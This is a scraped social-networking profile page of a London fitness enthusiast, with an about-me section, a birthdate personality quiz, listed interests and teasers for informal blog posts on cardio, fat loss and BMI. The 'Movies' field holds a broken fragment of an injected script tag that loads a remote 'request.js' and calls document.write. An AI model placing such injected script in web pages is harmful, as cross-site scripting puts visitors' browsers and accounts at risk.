FITNESSPETITE xXx profile picture

FITNESSPETITE xXx

I am here for Friends and Networking

About Me

xXx Angie or (fit petite) 5ft 2ins, i weigh 54Kg , clothes size 6-8, and mother of two aged 8yrs & 7years,studied to be a personal trainer level 3 w.a.b.b.a that's the world amatur body building association take my exam in April 08, so you can imagine. my intrests could only be health & fitness should be taking that exam in january 2008I'm vertually at the gym every day thats usally 6 days per week taking part in CIRCUIT classes, BOXERCISE 3days per week with this great instructor DANNY JOHNSON then theres the ABS classes and of course gym circuits with GERRY JACKSON the man ...then of course i started Salsa as well, instructor jordanna BUT ITS NEVER ENOUGH....because you get the improvements then you want more...so it seems never ending...besides i feel tired when i stop lolI'm FEELING THE soulful/ funky hse, garage and the BROKEN BEATZ like food.... KNOW dem way deh? broken beats? ...check out Dance diverse, swift Jay,and mr sounds on my friend list... Or if your really LOng check Dajavu 92.4 fm OR Rinse 100.4 fm. for your daily DOSE of the soulful,brokenand garage or HOUSExXxGet Your Own! | View Slideshow
Your Birthdate: July 5
You have many talents, and you are great at sharing those talents with others.
Most people would be jealous of your clever intellect, but you're just too likeable to elicit jealousy.
Progressive and original, you're usually thinking up cutting edge ideas.
Quick witted and fast thinking, you have difficulty finding new challenges.
Your strength: Your superhuman brainpower
Your weakness: Your susceptibility to boredom
Your power color: Tangerine
Your power symbol: Ace
Your power month: May What Does Your Birth Date Mean? http://img402.imageshack.us/img402/8695/baa455e902d22d9edf3b 7a830f9c3038yw5.jpg body xXxxXx

My Interests

Exercise, exercise, and more...... studying.... to plan to become so qualified in everything e.g personal trainer,boxercise, kickboxing, nutrition the list goes on i'll be studying for a number of yearsxXx

I'd like to meet:

like minded people anyone in the fitness industry all of those ywho love exercisexXx

Movies:

Dont have time to watch anything.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

Dont even get to watch tv,much but TORCHWOOD is damned good

Heroes:

If you save a life for a living then i consider you a HERO..

My Blog

eating not just 4 christmas

eating not just 4 christmas Current mood: breezy Category: BloggingHi all it's christmas eve hope you all have a great christmas.have to touch on a important subject...FOODI've noticed at work that a...
Posted by FITNESSPETITE xXx on Mon, 24 Dec 2007 01:53:00 PST

PITYRIASIS VERSICOLOR (skin condition)

PITYRIASIS VERSICOLORa fungal skin condition....black and white people both Suffer this conditionHowever some of you are unaware that you even have it.normally found on the trunk of the human body..th...
Posted by FITNESSPETITE xXx on Sun, 09 Sep 2007 07:54:00 PST

your BMI (BODY MASS INDEX)

WORKING OUT YOUR BMI (BODY MASS INDEX) Category: BloggingFOR THOSE OF YOU WHO WISH TO WORK OUT YOUR BODY MASS INDEXTHE RATIO OF FAT AND MUSCLEonce you find out your measurements you dont have to do an...
Posted by FITNESSPETITE xXx on Sun, 09 Sep 2007 07:25:00 PST

FIND ME @ ENERGIE FITNESS CLUB

HOLLA...at fitnesspetite @ the ENERGIE GYM , 1 Reading lane, HACKNEY,LONDON ,E8 1GQ0208 986 6206 [email protected]'m there, doing a work placement in order to pass my exams when the...
Posted by FITNESSPETITE xXx on Sat, 04 Aug 2007 12:48:00 PST

SO CALLED FITNESS SECRETS TO FATLOSS

Yeah it pisses me off all you so called fitness guru's that think you know about fatloss...everyone reacts diffirently to food and exercise.. theres hundreds of you out there with your stupid arse on ...
Posted by FITNESSPETITE xXx on Sat, 04 Aug 2007 12:29:00 PST

The AB gymnic Belt

Well you know me i will try anything thats a gadgetthe ab belt......it's not even mine it's my brothers and after using it i fail to overstand why he would lend out such a peice of fine invention.Yes...
Posted by FITNESSPETITE xXx on Tue, 03 Jul 2007 10:35:00 PST

fatloss AND cardio

I can see i'm not getting through to you...as a lot of you still come through asking the same question........HOW DO I LOSE BODY FAT???????????Answer....cardiovascular exercises...plain and very simpl...
Posted by FITNESSPETITE xXx on Sat, 23 Jun 2007 09:19:00 PST

the Gushy stuff?

Gushy stuff?...i'll get to that part SOONwhat i did want to touch down on, was the fact when you workout using weights , be it free style or machinery ... you increase your muscle size.......It's just...
Posted by FITNESSPETITE xXx on Wed, 20 Jun 2007 05:47:00 PST

Gravity defiying GLUTEs

"WHAT GOES UP WILL COME DOWN,"Yeah its that time again my next blog were talking BUTT talkalot of you.....ok a few of you seem to be asking HOW DO I GET A BIG BOOTY?and my answer is: I DON"T KNOW!.......
Posted by FITNESSPETITE xXx on Thu, 07 Jun 2007 04:00:00 PST

cardio going very well

still reducing body fat using the cardio method,healthy eating ,weight trainingalot of running,stepping,rowing i say its a lot, but its like now 10mins on each so a 30 min session...then weight train...
Posted by FITNESSPETITE xXx on Mon, 28 May 2007 10:21:00 PST